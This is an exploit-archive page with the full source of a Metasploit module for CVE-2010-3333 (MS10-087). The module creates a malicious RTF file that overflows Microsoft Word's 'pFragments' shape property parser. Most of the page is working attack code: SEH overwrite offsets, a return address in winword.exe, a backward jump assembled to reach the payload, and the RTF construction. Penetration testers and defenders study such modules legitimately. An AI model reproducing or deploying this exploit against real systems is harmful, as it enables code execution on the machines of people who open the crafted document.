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Microsoft Word RTF pFragments Stack Buffer Overflow

Microsoft Word RTF pFragments Stack Buffer Overflow
Posted Dec 29, 2010
Authored by wushi, jduck | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow in the handling of the 'pFragments' shape property within the Microsoft Word RTF parser. All versions of Microsoft Office prior to the release of the MS10-087 bulletin are vulnerable. This Metasploit module does not attempt to exploit the vulnerability via Microsoft Outlook. The Microsoft Word RTF parser was only used by default in versions of Microsoft Word itself prior to Office 2007. With the release of Office 2007, Microsoft began using the Word RTF parser, by default, to handle rich-text messages within Outlook as well. It was possible to configure Outlook 2003 and earlier to use the Microsoft Word engine too, but it was not a default setting.

tags | exploit, overflow
advisories | CVE-2010-3333, OSVDB-69085
MD5 | bf0463eef347a91b2ddc62adc2113b79

Microsoft Word RTF pFragments Stack Buffer Overflow

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##
# $Id: ms10_087_rtf_pfragments_bof.rb 11450 2010-12-29 20:30:50Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)',
'Description' => %q{
This module exploits a stack-based buffer overflow in the handling of the
'pFragments' shape property within the Microsoft Word RTF parser. All versions
of Microsoft Office prior to the release of the MS10-087 bulletin are vulnerable.

This module does not attempt to exploit the vulnerability via Microsoft Outlook.

The Microsoft Word RTF parser was only used by default in versions of Microsoft
Word itself prior to Office 2007. With the release of Office 2007, Microsoft
began using the Word RTF parser, by default, to handle rich-text messages within
Outlook as well. It was possible to configure Outlook 2003 and earlier to use
the Microsoft Word engine too, but it was not a default setting.
},
'License' => MSF_LICENSE,
'Author' =>
[
'wushi of team509', # original discovery
'unknown', # exploit found in the wild
'jduck' # Metasploit module
],
'Version' => '$Revision: 11450 $',
'References' =>
[
[ 'CVE', '2010-3333' ],
[ 'OSVDB', '69085' ],
[ 'MSB', 'MS10-087' ],
[ 'BID', '44652' ],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00",
'DisableNops' => true # no need
},
'Platform' => 'win',
'Targets' =>
[
# Office v11.8307.8324, winword.exe v11.0.8307.0
[ 'Microsoft Office 2003 SP3 English on Windows XP SP3 English',
{
'Offsets' => [ 24536, 51112 ],
'Ret' => 0x300294e7 # p/p/r in winword.exe
}
],

# In order to exploit this bug on Office 2007, a SafeSEH bypass method is needed.
=begin
# Office v12.0.6425.1000, winword.exe v12.0.6425.1000
[ 'Microsoft Office 2007 SP2 English on Windows XP SP3 English',
{
'Offsets' => [ 5912 ],
'Ret' => 0x30001ceb # p/p/r in winword.exe
}
],
=end

# crash on a deref path to heaven.
[ 'Crash Target for Debugging',
{
'Offsets' => [ 65535 ],
'Ret' => 0xdac0ffee
}
]
],
'DisclosureDate' => 'Nov 09 2010'))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.rtf']),
], self.class)
end

def exploit

offsets = target['Offsets']

# Prepare a sample SEH frame
seh = generate_seh_record(target.ret)

# Prepare a sample backward jump
distance = offsets.max
jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

# RTF property Array parameters
el_size = sz_rand()
el_count = sz_rand()

data = ''
# These words are presumably incorrectly used
# assert(amount1 <= amount2)
data << [0x1111].pack('v') * 2
data << [0xc8ac].pack('v')
data << [0x1111].pack('v') * 22

# Filler
if target.name =~ /Debug/i
rest = Rex::Text.pattern_create(offsets.max + seh.length + jmp_back.length)
else
rest = rand_text(offsets.max + seh.length + jmp_back.length)
end

# Add the payload
rest[0, payload.encoded.length] = payload.encoded

# Fill in the seh frames
offsets.each { |off|
rest[off, seh.length] = seh
distance = off + seh.length
jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
rest[off + seh.length, jmp_back.length] = jmp_back
}

sploit = "%d;%d;" % [el_size, el_count]
sploit << data.unpack('H*').first
sploit << rest.unpack('H*').first

content = "{\\rtf1"
content << "{\\shp" # shape
content << "{\\sp" # shape property
content << "{\\sn pFragments}" # property name
content << "{\\sv #{sploit}}" # property value
content << "}"
content << "}"
content << "}"

print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(content)

end

def sz_rand
bad_sizes = [ 0, 2, 4, 8 ]
x = rand(9)
while bad_sizes.include? x
x = rand(9)
end
x
end

end
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